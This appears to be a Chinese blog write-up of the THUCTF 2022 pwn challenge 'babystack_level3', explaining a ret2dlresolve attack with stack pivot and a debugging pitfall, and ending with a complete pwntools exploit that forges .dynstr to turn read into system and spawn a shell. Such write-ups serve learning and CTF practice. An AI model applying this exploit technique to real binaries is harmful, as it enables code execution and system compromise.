0%

【Pwn#0x07】THUCTF 2022 babystack_level3

比赛链接:THUCTF2022
(报名了比赛的账号现在(2022/11/15)还可以下载附件和开启实例)

学习了一下ret2dlresolve的基础。
在NO RELRO的时候,程序的.dynamic节被存储在RW的地址空间,而其中的一个指针strtab指向的是动态链接的符号表。
我们可以把这个符号表提取出来,修改一下,存在一个别的地方,然后把.dynamic里面的指针修改到那个地方。然后程序就会使用我们的假字符串表来进行动态符号解析!

题目分析

安全保护

函数列表

整个程序,一个输出函数都没有,但是保护只开了NX。很显然是要用ret2dlresolve来做。(实际上做题目的时候我还没学ret2dlresolve,然后去网上搜没有输出函数怎么打搜到的哈哈哈)

漏洞是可以在一个固定地址读入0x110个字节,并且可以栈溢出0x10个字节,也就是刚好把返回地址给覆盖掉。
那么思路就是

  1. 把rop chain读到固定地址那里,然后stack pivot过去
  2. rop chain是构造一个假的dynstr表(比如把read改成system),然后把.dynamic那里的指针改成假的dynstr,并且跳转到plt来触发动态符号解析,来调用想要的函数。

大失败原因

这题我本地打通之后,花了整整两天才在在线环境上打通,并且主要是靠出题人dylanyang师傅超级善良好心的debug帮助。

我们知道,栈地址是向下增长的,因此之前调用过的函数,其栈帧会被新的函数给覆盖,或者说重用。
在ROP中也是这个道理,虽然ROP链是按照调用顺序向上增长的,然而如果调用的是函数,函数的栈帧将会向下把一些东西给覆盖掉。

而我是如何踩进这个坑的呢?
在经典的stack pivot中,新的ROP Chain的第一个8字是会被当作saved rbp来pop给rbp的,所以是无用的一个八字。(如果你不想第二次stack pivot了)
然后我是一个非常懒惰的人,当我发现”/bin/sh\x00”正好是八个字节的时候,我心动了。把这八个字节填到新ROP Chain的开头不是正正好好吗!?

然后就寄了!因为在调用后续函数如execv、do_system的时候,栈帧会往下增长并且把这八个字节给覆盖掉!

以下是调试的截图,可以看到在执行完posix_spawnattr_init之后,我提前存在这边的”ABCDEFGH”突然变成了0……

如图所示

解决方法实在是很简单,换一个位置存”/bin/sh”字符串就行。

但是不知道这个问题的话,自己来调试实在是看不出什么东西。真的是我遇到最奇怪的情况了……

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
context.arch='amd64'
context.log_level='debug'
context.terminal = ['tmux','splitw','-h']

filename="./babystack_level3"
elf=ELF(filename)
rop=ROP("./babystack_level3")

newstack_addr = 0x601B00
dynamic_addr = 0x6008a8
real_dynstr = 0x400350
str_bin_sh = 0x600000
fake_dynstr = 0x600010
leave_ret = 0x4005da

dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace(b"read\x00",b"system\x00")
dynstr = b"/bin/sh\x00" + b'\x00'*8 + dynstr
print(dynstr)

payload_pivot = b'a'*0x100
payload_pivot += pack(newstack_addr) + pack(leave_ret) # leave

rop.raw(b'ABCDEFGH') # rbp padding
rop.read(0, dynamic_addr + 0x8*17)
rop.read(0, str_bin_sh)
rop(rdi = str_bin_sh, rsi = 0)
rop.raw(0x4004C6) # plt["read"] + offset
print(rop.dump())


# exploit
io = process([filename])
# io = remote("nc.thuctf.redbud.info", 31179)

# g = gdb.attach(io,"b *0x400604")
# g = gdb.attach(io,"c")

io.sendline(rop.chain())
io.recvrepeat(1)

io.send(payload_pivot)
io.recvrepeat(1)

io.sendline(pack(fake_dynstr))
io.recvrepeat(1)

io.send(dynstr)
io.recvrepeat(1)

io.interactive()